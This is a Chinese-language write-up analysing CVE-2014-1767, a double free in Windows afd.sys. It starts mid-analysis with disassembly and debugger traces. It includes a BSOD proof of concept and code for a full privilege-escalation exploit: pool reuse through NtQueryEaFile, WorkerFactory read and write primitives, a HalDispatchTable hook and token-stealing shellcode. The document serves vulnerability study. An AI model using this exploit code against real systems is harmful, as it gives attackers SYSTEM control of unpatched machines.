--------------------------------------------------------------------------- PAGE:0002B89F PAGE:0002B89F loc_2B89F:                              ; DATA XREF: .rdata:stru_20998↑o PAGE:0002B89F ;   __except(loc_2B89B) // owned by 2B87E PAGE:0002B89F                 mov     esp, [ebp+ms_exc.old_esp] PAGE:0002B8A2                 push    1               ; flag PAGE:0002B8A4                 push    [ebp+Entry]     ; Entry PAGE:0002B8A7                 call    _AfdReturnTpInfo@8 ; AfdReturnTpInfo(x,x) PAGE:0002B8AC                 xor     esi, esi PAGE:0002B8AC ;   } // starts at 2B87E PAGE:0002B8AE PAGE:0002B8AE loc_2B8AE:                              ; CODE XREF: AfdTliGetTpInfo(x)+76↑j PAGE:0002B8AE                 mov     [ebp+ms_exc.registration.TryLevel], 0FFFFFFFEh PAGE:0002B8B5 PAGE:0002B8B5 loc_2B8B5:                              ; CODE XREF: AfdTliGetTpInfo(x)+59↑j PAGE:0002B8B5                 mov     eax, esi PAGE:0002B8B7 PAGE:0002B8B7 loc_2B8B7:                              ; CODE XREF: AfdTliGetTpInfo(x)+2B↑j PAGE:0002B8B7                 call    __SEH_epilog4 PAGE:0002B8BC                 retn PAGE:0002B8BC ; } // starts at 2B823 PAGE:0002B8BC @AfdTliGetTpInfo@4 endp


结构上和上次的现场差不多,都包含一个异常处理,通过上面的调用链可知一定是try块中触发了异常才有可能调用到AfdReturnTpInfo, 那我们在0002B88C的call处下断点看一下现场(0x10000为IDA加载afd.sys的基址):

CVE-2014-1767 分析报告

根据ExAllocatePoolWithQuotaTag的定义:

PVOID ExAllocatePoolWithQuotaTag(   [in] __drv_strictTypeMatch(__drv_typeExpr)POOL_TYPE PoolType,   [in] SIZE_T                                         NumberOfBytes,   [in] ULONG                                          Tag );

可知,目前正在尝试分配一块4294967280大小的内存(大约3.9Gb),由于被调试机器为32位且未开启PAE, 这种情况下必然会产生异常,因此会执行到0002B8A7处的AfdReturnTpInfo函数。


同时,需要注意,在0002B83C处从LookasideList内存处分配了一个struc_TPInfo后,并没有对struc_TPInfo->struc_UnkObj的MdlAddress成员初始化,因为在尝试调用ExAllocatePoolWithQuotaTag初始化该成员域时发生了异常(申请3.9Gb内存),从而执行流程跳转到了异常处理块的AfdReturnTpInfo处,但是AfdReturnTpInfo函数体中是会对struc_TPInfo->struc_UnkObj->MdlAddress执行释放操作的:


CVE-2014-1767 分析报告


那么由于此时分配的struc_TPInfo结构使用的内存是上一次调用AfdTransmitFile异常后,释放(归还)给LookasidList的内存,由于本文一开始分析得到的悬挂指针的问题, 导致二次IoFreeMdl同一块内存。


这就是本文一开始终极问题的答案——为什么会DoubleFree。

包袱2


同样埋一个包袱后文会用到。


让我们回到第二次释放时的调用现场:

CVE-2014-1767 分析报告

通过对这个现场的回溯,我们可以得到第二次调用时的调用链如下:

CVE-2014-1767 -> nt!DeviceIoControl -> afd!AfdTransmitPackets


以及调用DeviceIoControl的参数信息:

控制码(Control Code): 0x120c3输入缓冲区地址:0x1326200输入缓冲区长度:0x18




DoubleFree产生流程总结


上文中,有个细节没有提到(下面标红部分):

AfdTliGetTpInfo在分配struc_TPInfo结构时,会根据参数决定是否要初始化struc_TPInfo->struc_UnkObj结构。AfdTransmitFile调用AfdTliGetTpInfo时,会用常数3作为参数进行调用,这导致AfdTliGetTpInfo永远不会在内部初始化struc_TPInfo->struc_UnkObjAfdTranmitPackets调用AfdTliGetTpInfo时,使用的参数是可控的,并不是常数3,这导致我们可以控制AfdTliGetTpInfo让其在内部初始化struc_TPInfo->struc_UnkObj结构


知道了上述信息后,我们来覆盘一下DoubleFree产生的原因:

AfdTransmitFile调用(第一次DeviceIoControl):    调用AfdTliGetTpInfo分配struc_TPInfo结构,此时调用AfdTliGetTpInfo参数固定为3,不初始化struc_TPInfo->struc_UnkObj->MdlAddress成员    调用IoAllocateMdl分配内存地址,赋值给struc_TPInfo->struc_UnkObj->MdlAddress成员    调用MmProbeAndLockPages尝试锁定struc_TPInfo->struc_UnkObj->MdlAddress,由于地址非法,发生异常    异常处理函数接管,调用AfdReturnTpInfo函数释放struc_TPInfo,但是未对指针置NULL从而产生悬挂指针AfdTransmitPackts调用(第二次DeviceIoControl):    调用AfdTliGetTpInfo分配struc_TPInfo结构,此时调用AfdTliGetTpInfo参数为外部传入,导致需要初始化struc_TPInfo->struc_UnkObj->MdlAddress成员    AfdTliGetTpInfo中尝试使用ExAllocatePoolWithQuotaTag分配3.9Gb内存,发生异常    异常处理函数接管,调用AfdReturnTpInfo清理刚分配的struc_TPInfo结构    由于本次分配的struc_TPInfo结构为AfdTransmitFile调用产生异常后释放(归还)给LookasideList的内存,这块内存包含上次指针的值(悬挂指针)    调用IoFreeMdl时尝试再次清理悬挂指针指向的内存区域    BSOD




构造POC


失败的尝试

本小节涉及到上文中提到的两个包袱,通过对栈中数据的分析我们可以写出如下POC代码:

#include <windows.h> #include <ntdef.h> #include <winternl.h> #include <stdio.h> typedef struct _INPUT_AfdTransmitFile {     DWORD field1;     DWORD field2;     DWORD field3;     DWORD field4;     DWORD field5;     DWORD field6;     DWORD field7;     DWORD field8;     DWORD field9;     DWORD field10;     DWORD field11;     DWORD field12; } INPUT_AfdTransmitFile;  typedef struct _INPUT_AfdTransmitPackets {     DWORD field1;     DWORD field2;     DWORD field3;     DWORD field4;     DWORD field5;     DWORD field6; } INPUT_AfdTransmitPackets;  int main() {     DWORD bytesRet;      INPUT_AfdTransmitFile InputAfdTransmitFile = {0};     memset(&InputAfdTransmitFile, 0, sizeof(INPUT_AfdTransmitFile));     InputAfdTransmitFile.field7 = 0x13371337;     InputAfdTransmitFile.field8 = 0x15fcd9;     InputAfdTransmitFile.field11 = 1;      INPUT_AfdTransmitPackets InputAfdTransmitPackets = {0};     memset(&InputAfdTransmitPackets, 0, sizeof(INPUT_AfdTransmitPackets));     InputAfdTransmitPackets.field1 = 1;     InputAfdTransmitPackets.field2 = 0x0aaaaaaa;      LPCSTR deviceStr = "\\?\GLOBALROOT\Device\Afd";     HANDLE hDevice = CreateFile( deviceStr,              GENERIC_READ | GENERIC_WRITE | GENERIC_EXECUTE,              FILE_SHARE_READ,              NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);      DeviceIoControl((HANDLE)hDevice, 0X1207F, (LPVOID)&InputAfdTransmitFile,              sizeof(INPUT_AfdTransmitFile), NULL, 0, &bytesRet, NULL);     DeviceIoControl((HANDLE)hDevice, 0X120C3, (LPVOID)&InputAfdTransmitPackets,              sizeof(INPUT_AfdTransmitPackets), NULL, 0, &bytesRet, NULL);      return 0; }


测试发现,并不能触发崩溃,通过上面漏洞的成因, 分别在afd!AfdTransmitFile与afd!AfdTransmitPackets下断点进一步分析,最终发现是在afd!AfdTransmitPackets中如下检查未通过导致的:

FsContext = (unsigned __int8 *)a2->FileObject->FsContext; v56 = FsContext; v3 = *(_WORD *)FsContext; if ( *(_WORD *)FsContext == 0x1AFD ) {   v66 = STATUS_INVALID_PARAMETER_12;   goto LABEL_148; } if ( v3 != (__int16)0xAFD2 <--- 这里的检查未通过导致直接调到函数结尾   && (v3 != (__int16)0xAFD1 || (*((_DWORD *)FsContext + 2) & 0x200) == 0 && (*((_DWORD *)FsContext + 3) & 0x8000) == 0)   || FsContext[2] != 4 )


通过对内核中0xAFD2常数的追踪, 最终定位到这个常数的位置如下图:

CVE-2014-1767 分析报告

接下来看一下winsock2模块是干啥用的, 了解一个模块的作用, 最快的方法莫过于通过其头文件了, 看一下其导出的函数:

CVE-2014-1767 分析报告

发现一个老熟人, WSAStartup, 所以推测\?GLOBALROOTDeviceAfd是和socks函数相关的, 尝试把句柄替换为socks函数产生的句柄成功触发BSOD。

成功构造POC


在知道正确的句柄类型之后, 我们就可以创建正确的设备对象来构造触发BSOD的POC了,下面POC中的端口, 只要是任意开放端口即可。

#include <windows.h>   #include <ntdef.h>   #include <winternl.h>   #include <stdio.h>    typedef struct _INPUT_AfdTransmitFile {       DWORD field1;       DWORD field2;       DWORD field3;       DWORD field4;       DWORD field5;       DWORD field6;       DWORD field7;       DWORD field8;       DWORD field9;       DWORD field10;       DWORD field11;       DWORD field12;   } INPUT_AfdTransmitFile;    typedef struct _INPUT_AfdTransmitPackets {       DWORD field1;       DWORD field2;       DWORD field3;       DWORD field4;       DWORD field5;       DWORD field6;   } INPUT_AfdTransmitPackets;    int main()   {       DWORD bytesRet;        INPUT_AfdTransmitFile InputAfdTransmitFile = {0};       memset(&InputAfdTransmitFile, 0, sizeof(INPUT_AfdTransmitFile));       InputAfdTransmitFile.field7 = 0x13371337;       InputAfdTransmitFile.field8 = 0x15fcd9;       InputAfdTransmitFile.field11 = 1;        INPUT_AfdTransmitPackets InputAfdTransmitPackets = {0};       memset(&InputAfdTransmitPackets, 0, sizeof(INPUT_AfdTransmitPackets));       InputAfdTransmitPackets.field1 = 1;       InputAfdTransmitPackets.field2 = 0x0aaaaaaa;        WSADATA WSAData;     SOCKET sock_fd;     SOCKADDR_IN sa;     WSAStartup(0x2, &WSAData);     sock_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);     memset(&sa, 0, sizeof(sa));     sa.sin_port = htons(445);     sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");     sa.sin_family = AF_INET;     connect(sock_fd, (const struct sockaddr*) & sa, sizeof(sa));      DeviceIoControl((HANDLE)sock_fd, 0X1207F, (LPVOID)&InputAfdTransmitFile,                sizeof(INPUT_AfdTransmitFile), NULL, 0, &bytesRet, NULL);       DeviceIoControl((HANDLE)sock_fd, 0X120C3, (LPVOID)&InputAfdTransmitPackets,                sizeof(INPUT_AfdTransmitPackets), NULL, 0, &bytesRet, NULL);        return 0;   }





构造Expolit思路


前文中,作者本着自虐的原则,刨根问底式的研究了很多“多余的东西”,但是作为一个Noob,完全自己去构造Expolit实在是过于难为作者了。因此,我们需要参考一下大佬们是如何构造Exploit的,我们需要通过大佬们的构造思路,来学习构造Exploit的技能——这部分技能恰好是我们所不具备的。

本文接下来的部分,主要是对《参考1》的理解以及《参考2》的解释,或者也可以理解为读书笔记。

利用思路


通过上文的分析, 可知此漏洞的根本成因是DoubleFree, 如果我们能控制Free之后的这块内存,从而造成Object Manipulate的话,就可以控制任意内存——也就是将DoubleFree问题转换为UAF问题。


获取CPU控制权


首先,我们从最朴素的目的来展开我们的思考。抛开所有问题不谈,漏洞利用最终的目标是什么?当然不是没有蛀牙,而是执行我们的ShellCode——那么我们将会面临两个问题:

Shellcode如何写入到内核态可以访问的内存中?如何接管CPU的执行流程,让CPU执行我们内存中的Shellcode?


针对第一个问题, 由于我们的程序已经装载到内存中执行了, 因此当内核运行在我们的Expoit进程空间时, 自然就可以访问到用户态的Shellcode地址,因此在Exploit中Shellcode其实就是个函数的地址而已(参考2):

NTSTATUS __stdcall Shellcode(int a,int b,int c,int d) {     //获取自己和系统进程的EPROCESS     PEPROCESS pCur, pSys;     DWORD ObjTable;     MyPsLookupProcessByProcessId(GetCurrentProcessId(), &pCur);     MyPsLookupProcessByProcessId(4, &pSys);      //提权 0xF8为token位置     *(DWORD*)(pCur + 0xF8) = *(DWORD*)(pSys + 0xF8);      //绕过清理句柄     ObjTable = *(DWORD*)(pCur + 0xF4);     *(DWORD*)(ObjTable + 0x30) -= 1;     ObjTable = *(DWORD*)ObjTable;     *(DWORD*)(ObjTable + ((DWORD)hWorkerFactory * 2)) = 0;      //恢复Hook     *(DWORD*)(MyHalDispatchTable + 4) = oldHaliQuerySystemInformation;      return 0; }


针对第二个问题, 我们知道Windows有很多的系统例程(比如SSDT里面的全都是), 如果我们能替换掉某个例程的地址为我们的Shellcode地址,然后调用这个例程, 那CPU便会去执行我们的Shellcode代码。

当然, 此漏洞发现者使用的并不是SSDT里面的例程, 因为这个表里面的函数使用频率太高了,很容易被其他程序调用从而影响我们对漏洞的利用。这里, 漏洞发现者盯上了漏洞利用届的老熟人、冷门调用的扛霸子:位于HalDispatchTable第二项的HaliQuerySystemInformation:

kd> dd HalDispatchTable L4 83d363f8  00000004 84033940 8403380e 83ebe793 kd> dt HAL_DISPATCH 83d363f8 Wdf01000!HAL_DISPATCH    +0x000 Version          : 4    +0x004 HalQuerySystemInformation : 0x84033940     long  hal!HaliQuerySystemInformation+0    +0x008 HalSetSystemInformation : 0x8403380e     long  hal!HaliSetSystemInformation+0    +0x00c HalQueryBusSlots : 0x83ebe793     long  nt!xHalQueryBusSlots+0    +0x010 Spare1           : 0    +0x014 HalExamineMBR    : 0x83c155c2     void  nt!HalExamineMBR+0    +0x018 HalIoReadPartitionTable : 0x83d7ffdf     long  nt!IoReadPartitionTable+0    +0x01c HalIoSetPartitionInformation : 0x83ebe095     long  nt!IoSetPartitionInformation+0    +0x020 HalIoWritePartitionTable : 0x83ebe340     long  nt!IoWritePartitionTable+0    +0x024 HalReferenceHandlerForBus : 0x83cbd3d4     _BUS_HANDLER*  nt!KeQueryHighestNodeNumber+0    +0x028 HalReferenceBusHandler : 0x83d23a8f     void  nt!xHalStopLegacyUsbInterrupts+0    +0x02c HalDereferenceBusHandler : 0x83d23a8f     void  nt!xHalStopLegacyUsbInterrupts+0    +0x030 HalInitPnpDriver : 0x8403376a     long  hal!HaliInitPnpDriver+0    +0x034 HalInitPowerManagement : 0x84033f8a     long  hal!HaliInitPowerManagement+0    +0x038 HalGetDmaAdapter : 0x8401b92c     _DMA_ADAPTER*  hal!HaliGetDmaAdapter+0    +0x03c HalGetInterruptTranslator : 0x84032e6a     long  hal!HaliGetInterruptTranslator+0    +0x040 HalStartMirroring : 0x83ebe7c0     long  nt!xHalStartMirroring+0    +0x044 HalEndMirroring  : 0x83cde9bf     long  nt!xHalEndMirroring+0    +0x048 HalMirrorPhysicalMemory : 0x83cde9d3     long  nt!xHalReadWheaPhysicalMemory+0    +0x04c HalEndOfBoot     : 0x84034150     void  hal!HalpEndOfBoot+0    +0x050 HalMirrorVerify  : 0x83cde9d3     long  nt!xHalReadWheaPhysicalMemory+0    +0x054 HalGetCachedAcpiTable : 0x8401daf6     void*  hal!HalAcpiGetTableDispatch+0    +0x058 HalSetPciErrorHandlerCallback : 0x84022a3a     void  hal!HaliSetPciErrorHandlerCallback+0


根据已知资料可知, 当我们调用NtQueryIntervalProfile时, 会导致内核态调用HalQuerySystemInformation函数。

所以, 如果我们将HalQuerySystemInformation函数的地址替换为我们Shellcode函数的地址, 然后调用NtQueryIntervalProfile, 我们的Shellcode便会的到执行。


那么, 新的问题又出现了:

如何获取 HalQuerySystemInformation 函数的存储地址?在获取到1中地址后, 如何向这个地址写入我们Shellcode的地址?


构造读写原语

根据上一节的分析可知 HalQuerySystemInformation 位于 HalDispatchTable+0x004 的位置, 好消息是 HalDispatchTable 在ntoskrnl.exe中是导出的:

CVE-2014-1767 分析报告

获取一个导出的符号地址, 在R3中使用 LoadLibrary + GetProcAddress 的经典组合就可以搞定了, 唯一需要注意的是需要根据ntoskrnl.exe在内核中实际加载的基址重新计算一下导出名称的地址(参考2):

PSYSTEM_MODULE_INFORMATION Info = (PSYSTEM_MODULE_INFORMATION)malloc(cbNeed);  Status = MyNtQuerySystemInformation(11, Info, cbNeed, &cbNeed); if (!NT_SUCCESS(Status)) {     printf("MyNtQuerySystemInformation Failed %pn", Status);     return 0; }  // Info 中存放 ntoskrnl.exe 即nt模块的基本信息 DWORD Ntbase = Info->Module[0].Base; // nt模块的加载基址  // Info->Module[0].ImageName 存放nt模块的全路径, 我们需要切出文件名 HMODULE Mynt = LoadLibrary(Info->Module[0].ImageName + Info->Module[0].OffsetToFileName); if (Mynt == NULL) {     printf("LoadLibrary Nt Failedn" );     return 0; }  // 重新计算HalDispatchTable的地址 MyHalDispatchTable = (ULONG)GetProcAddress(Mynt, "HalDispatchTable") - (ULONG)Mynt + Ntbase; if (MyHalDispatchTable == NULL) {     printf("Get HalDispatchTable Failed %pn", GetLastError());     return 0; }


OK, 现在我们知道了HalDispatchTable的地址, 我们下一步只需要向 HalDispatchTable+0x004 位置处写入我们Shellcode函数地址就可以了——可是我们如何写呢?接下来让我们回答上一节的问题:

“在获取到HalDispatchTable中地址后, 如何向这个地址写入我们Shellcode的地址”

写原语


Windows有一个很有意思的设计,为了管理内核对象, Windows提供了很多配套函数, 这些函数都是成组出现的, 其基本形式为:NtCreateXXX/NtQueryInformationXXX/NtSetInformationXXX。这三类函数一般用于创建内核对象或查询/设置该内核对象的信息。

如果要尝试构造任意地址写, NtSetInformationXXX系列函数是个不错的选择, 而漏洞发现者选取的内核对象为WorkerFactory, 即“受害”函数是NtSetInformationWorkerFactory, 让我们先来理解一下这个函数(仅列出重要部分):

NTSTATUS __stdcall NtSetInformationWorkerFactory(HANDLE Handle, int QueryClassInformation, DWORD *Data, SIZE_T CbData) {   DWORD *v7; // eax   DWORD v10; // edi   PVOID WorkerFactoryObject; // [esp+3Ch] [ebp-1Ch] BYREF   …………   v5 = 4;   if ( CbData != v5 )     return STATUS_INFO_LENGTH_MISMATCH;   …………   if ( QueryClassInformation == 8 )   {     …………     v7 = Data;   }   …………   v10 = *v7;   …………   result = ObReferenceObjectByHandle(Handle, 4u, ExpWorkerFactoryObjectType, AccessMode[0], &WorkerFactoryObject, 0);   …………   if ( QueryClassInformation == 8 )   {     …………     *(_DWORD *)(*(_DWORD *)(*(_DWORD *)WorkerFactoryObject + 0x10) + 0x1C) = v10; // 写原语构造点     ObfDereferenceObject(WorkerFactoryObject);     return 0;   }   ………… }


从函数的反汇编代码来看, 我们可以将4个字节的数据写到受控地址处, 地址的控制是通过WorkerFactory对象+0x10处的成员值间接计算得出的。这里的几个要点为:

QueryClassInformation参数需要为8CbData参数值需要是4Data参数为需要写入的数据值(HalDispatchTable + 4


所以, Exploit中构造的写原语代码为(参考2):

MyNtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, NULL, NULL, 0, 0, 0);BYTE WorkerFactory[0xA0] = { 0 };…………PBYTE pObj = WorkerFactory + 0x28;  // 跳过0x28字节ObjectHeader, 指向WorkerFactory对象的Body…………//任意写   把 *arg3 的内容 写入到  *( *(*object+0x10)+0x1C ) //*(*object+0x10)+0x1C = MyHalDispatchTable + 4 //因为 *object 所以没办法在本对象内构造数据  //所以需要另一个内存来构造数据 BYTE y[0x14] = { 0 }; *(DWORD*)pObj = (DWORD)y; PBYTE py = y; //现在有一个内存y    *(y + 0x10) + 0x1C = MyHalDispatchTable + 4 //所以 *(y+0x10) = MyHalDispatchTable + 4 - 0x1C  即可 *(DWORD*)(py + 0x10) = MyHalDispatchTable + 4 - 0x1C;  …………  //写shellcode地址到HalDispatchTable + 4 DWORD scAddr = (DWORD)Shellcode; MyNtSetInformationWorkerFactory(hWorkerFactory, 8, &scAddr, 4);


NtQueryEaFile

通过上面的写原语代码可知,我们是通过构造恶意的WorkerFactory对象实现的。然而WorkerFactory对象是通过NtCreateWorkerFactory创建的,我们得到的仅仅是代表这个对象的一个句柄——换句话说,我们并不能控制这个对象的具体内容, 但是我们构造写原语的确要伪造WorkerFactory对象的一些成员, 如何解决这个问题呢?

漏洞发现者提供了另外一个对象:EaFile。我们可以通过NtQueryEaFile达成向内存某一地址处写入我们想要数据的目的, 废话不说, 上反汇编代码:

NTSTATUS __stdcall NtQueryEaFile( HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer,         ULONG Length, BOOLEAN ReturnSingleEntry, PVOID EaList, ULONG EaListLength, PULONG EaIndex,         BOOLEAN RestartScan) {   AccessMode[0] = CurrentThread->PreviousMode;   if ( !AccessMode[0] )   {     if ( EaList && EaListLength )     {       v46 = 1;       …………       if ( ViVerifierDriverAddedThunkListHead )       {         …………       }       else       {         PoolWithTagPriority = ExAllocatePoolWithQuotaTag(NonPagedPool, EaListLength, 0x20206F49u);       }       P = PoolWithTagPriority;       ………………       memcpy(PoolWithTagPriority, EaList, EaListLength);     }     …………     v19 = ObReferenceObjectByHandle(FileHandle, 8u, (POBJECT_TYPE)IoFileObjectType, AccessMode[0], &Object, 0);     if ( v19 < 0 )     {       if ( v46 )         ExFreePoolWithTag(P, 0);       return v19;     } }


这里需要强调一点, 由于WorkerFactory对象在第二次调用DeviceIoControl的时候会被释放掉, 因此上面18行处的ExAllocatePoolWithQuotaTag申请内存的调用, 只要传入合适的EaListLength值,就会再次得到被释放的这块内存。那么, EaListLength需要是多少合适呢?答案是WorkerFactory对象所占用的内存大小,所以我们需要知道WorkerFactory对象占多大内存:

kd> g Breakpoint 0 hit nt!ExAllocatePoolWithTag: 83d2c005 8bff            mov     edi,edi kd> kb  # ChildEBP RetAddr      Args to Child               00 80e34b34 83e34174     00000000 000000a0 ef577054 nt!ExAllocatePoolWithTag 01 80e34b60 83e68584     0137d001 80e34b88 00000078 nt!ObpAllocateObject+0xe2 02 80e34b94 83e48060     0137d001 86629a38 00000000 nt!ObCreateObject+0x128 03 80e34c04 83c4987a     0137d084 10000000 00000000 nt!NtCreateWorkerFactory+0x142 ………………0b 0024fab0 00000000     013714b0 7ffd5000 00000000 ntdll!_RtlUserThreadStart+0x1b


可以看到WrokerFactory对象的大小为0xA0, 其分配的内存区域的POOL_TYPE为0, 即NonPagedPool。

继续进一步分析ExAllocatePoolWithQuotaTag函数调用:

PVOID __stdcall ExAllocatePoolWithQuotaTag(POOL_TYPE PoolType, SIZE_T NumberOfBytes, ULONG Tag) {   v3 = PoolType;   …………   if ( (PoolType & 8) != 0 )   {     …………     v3 = PoolType & 0xFFFFFFF7;   }   …………   v5 = v3 + 8;   …………   // sizof(WorkFactoryObject) == 0xA0 < 0xFF4   if ( NumberOfBytes > 0xFF4 || Process == PsInitialSystemProcess )     v5 = (unsigned __int8)v5 - 8;   else     NumberOfBytes += 4; // 貌似POOL_TYPE是8的情况下, 也会在NonPagedPool分配内存  PoolWithTag = (char *)ExAllocatePoolWithTag((POOL_TYPE)v5, NumberOfBytes, Tag);   ………… }


发现EaListLength会被+4然后作为分配内存的长度, 因此我们如果想得到同一块内存, 在调用NtQueryEaFile的时候, EaListLength需要是0xA0 - 4, 下面是Exploit的对应代码(参考2):

//创建WorkerFactory对象 DWORD Status = MyNtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, NULL, NULL, 0, 0, 0);  // 第二次释放  释放掉的内存是 WorkerFactory Object DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x10, NULL, 0, NULL, NULL);  // 现在把伪造的对象拷贝到释放掉的内存, NtQueryEaFile 内部会再次申请到上面释放掉的内存 IO_STATUS_BLOCK IoStatus; MyNtQueryEaFile(INVALID_HANDLE_VALUE, &IoStatus, 0, 0, 0, WorkerFactory, 0xA0 - 0x4, 0, 0);


小节1

上面讲了这么多, 其实就是为了解决两个问题:

如何获取 HalQuerySystemInformation 函数的存储地址?在获取到1中地址后, 如何向这个地址写入我们Shellcode的地址?


我们通过LoadLibrary和GetProcAddress得到了HalDispatchTable的地址, 然后利用NtQueryEaFile函数伪造一个WorkerFactory对象从而构造写原语, 利用构造的写原语覆盖了系统原本的HalQuerySystemInformation调用为我们Shellcode函数的地址。


到这里, 理论上我们只需要触发HalQuerySystemInformation调用即可执行我们的Shellcode了,如下(参考2):

// 调用shellcode DWORD Interval; MyNtQueryIntervalProfile(2, &Interval);


但是为了避免系统崩溃, 在Shellcode最后, 我们还需要将原来的HalQuerySystemInformation函数恢复回去。


那么,如何得到原HalQuerySystemInformation的函数地址呢?


读原语


通过上文的介绍, 我们依然利用WorkerFactory对象构造读语, 这次我们把目光转移到NtQueryInformationWorkerFactory上:

NTSTATUS __stdcall NtQueryInformationWorkerFactory(void *a1, int a2, ULONG a3, int a4, _DWORD *a5) {   if ( PreviousMode )  {     v7 = (char *)a3;  }  else  {    v7 = (char *)a3;  }  …………   result = ObReferenceObjectByHandle(              a1,              8u,              ExpWorkerFactoryObjectType,              AccessMode[0],              (PVOID *)&WorkerFactoryObject,              0);   if ( result >= 0 )   {     …………     v10 = (char *)WorkerFactoryObject;     …………     *(_DWORD *)v16 = *((_DWORD *)v10 + 2);     …………     // 0x19 * sizeof(DWORD *) = 0x64     *(_DWORD *)&v16[0x50] = *(_DWORD *)(*((_DWORD *)v10 + 0x19) + 0xB4); // 读原语构造点     …………     // 赋值0x60大小的内存    qmemcpy(v7, v16, 0x60u);  } }


可以看到, 该函数中, 有一个解引用, 会将WorkerFactoryObject+0x64处的值+0xB4后, 再解引用, 赋值到返回内容的0x50位置处, 最终返回的内存大小为0x60。这里需要注意上面的v10是DWORD , 所以(DWORD )v10 + 0x19等于(CHAR *)v10 + 0x64。


因此, 如果我们想要得到原来的HalQuerySystemInformation函数地址, 需要HalDispatchTable + 4 - 0xB4, 因此Exploit中的处理逻辑为(参考2):

BYTE WorkerFactory[0xA0] = { 0 }; ……… PBYTE pObj = WorkerFactory + 0x28; *(DWORD*)(pObj + 0x64) = MyHalDispatchTable - 0xB4 + 4; ……… //读 oldHaliQuerySystemInformation //内核会返回0x60字节的数据  需要的数据被放在  kernelRetMem+0x50 BYTE kernelRetMem[0x60] = { 0 }; MyNtQueryInformationWorkerFactory(hWorkerFactory, 7, kernelRetMem, 0x60, NULL); oldHaliQuerySystemInformation = *(DWORD*)(kernelRetMem + 0x50);


这样就得到了原本HalQuerySystemInformation的地址, 我们只需要在Shellcode最后恢复他即可。


小节2


对整个代码回顾, 关键脉络如下:

DWORD oldHaliQuerySystemInformation = NULL; DWORD MyHalDispatchTable = NULL;  NTSTATUS __stdcall Shellcode(int a,int b,int c,int d) {   ………… // 省略的这部分为功能为提取System权限进程的TOKEN到当前进程   //恢复Hook   *(DWORD*)(MyHalDispatchTable + 4) = oldHaliQuerySystemInformation;    return 0; }  int main(int argc, char** argv) {   // 第一次释放MDL   DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, NULL, 0, NULL, NULL);   …………   // 创建0xA0大小的WorkerFactory对象, 和上面的MDL位于同一内存位置   MyNtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, NULL, NULL, 0, 0, 0);   …………   // 释放WorkerFactory对象   DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x10, NULL, 0, NULL, NULL);   …………   // 再次在同一内存创建伪造的WorkerFactory对象   MyNtQueryEaFile(INVALID_HANDLE_VALUE, &IoStatus, 0, 0, 0, WorkerFactory, 0xA0 - 0x4, 0, 0);   …………   // 读原语,获取原HaliQuerySystemInformation函数地址   oldHaliQuerySystemInformation = *(DWORD*)(kernelRetMem + 0x50);   …………  // 写原语,用Shellcode替换原HaliQuerySystemInformation   MyNtSetInformationWorkerFactory(hWorkerFactory, 8, &scAddr, 4);  …………   // 导致Shellcode执行, 当前进程的TOKEN被替换为System权限的TOKEN   MyNtQueryIntervalProfile(2, &Interval);   // 创建一个system权限的cmd, 继承System权限Token   ShellExecuteA(NULL, "open", "cmd.exe", NULL, NULL, SW_SHOW); }


最后一个细节


整个漏洞,最核心的技巧说白了其实是通过反复申请和释放同一块内存来完成的。


通过上文的分析我们可知,这块内存的大小即是WorkerFactory对象的大小, 但是有一个细节是最开始, 也就是afd!TransmitFile调用是如何申请一块WorkerFactory大小的内存呢?


让我们回到第一次DeviceIoControl调用的内存分配处:

MACRO_STATUS __fastcall AfdTransmitFile(PIRP Irp, _IO_STACK_LOCATION *location) {   v50 = location;   …………   qmemcpy(&InputBuffer, v50->Parameters.Type3InputBuffer, sizeof(InputBuffer));   …………   if ( (*(_DWORD *)&FsContext->NonBlocking & 0x200) != 0 )     v6 = AfdTliGetTpInfo(3u);                   // <-- step in   …………   v7 = v6;   …………   Length = InputBuffer.Length;   if ( InputBuffer.Length )   {     v51 = &v7->UnkObjArray[*p_UnkCounter];     v11 = v51;     …………     if ( (InputBuffer.field_28 & 0x10) != 0 )     {       v11->Status = STATUS_GUARD_PAGE_VIOLATION;       Mdl = IoAllocateMdl(VirtualAddress, Length, 0, 1u, 0);       v11->MdlAddress = Mdl;       …………     }   }   ………… }


所以所有关键参数都来自于我们的输入, 其中控制大小的参数会传递给IoAllocateMdl用于分配内存。让我们看一下IoAllocateMdl函数分配内存的细节:

PMDL __stdcall IoAllocateMdl( PVOID VirtualAddress, ULONG Length,          BOOLEAN SecondaryBuffer, BOOLEAN ChargeQuota, PIRP Irp) {   …………   v6 = ((Length & 0xFFF) + ((unsigned __int16)VirtualAddress & 0xFFF) + 4095) >> 12;   v7 = v6 + (Length >> 12);   v15 = (unsigned __int16)VirtualAddress & 0xFFF;   if ( v7 > 0x11 )   {     v8 = 4 * v7 + 28;     goto LABEL_8;   }   …………   if ( !result )   {     v8 = 96; // 不会执行这句 LABEL_8:     result = (PMDL)ExAllocatePoolWithTag(NonPagedPool, v8, 0x206C644Du);     if ( !result )       return result;   }   …………   return result; }


可见作为长度传递给内存分配函数ExAllocatePoolWithTag的参数v8由VirtualAddress和Length计算而来, 而VirtualAddress和Length是受我们控制的。我们可以用以下代码暴力计算:

VirtualAddress = 0x710DDDD TargetSize = 0xA0  #WorkerFactory对象大小  for Length in range(0, 0xFFFFFFFF, 1):     extra_page = int((int(Length & 0xFFF) + int(VirtualAddress & 0xFFF) + 0xFFF) >> 12)     v7 = extra_page + int(Length >> 12)     if TargetSize == (4 * v7 + 0x1C):         print('%X <=> %d' % (Length, Length))         break


其结果如下:

CVE-2014-1767 分析报告

最终得到的值和参考2中Exploit的Length其实是不相等的, 参考2中的Length计算后为0x20000, 经过实际测试, 使用我们计算得到的值0x1F224也可以成功提权。


实际上, 如果将上述代码最后的break去掉, 我们可以得到非常多可用的值, 0x20000就在其中。

Put it all togeher


以下利用代码来自于参考2, 仅对上面提到的Length做了修改, 且在Windows 7 x86 SP1上测试提权成功 :

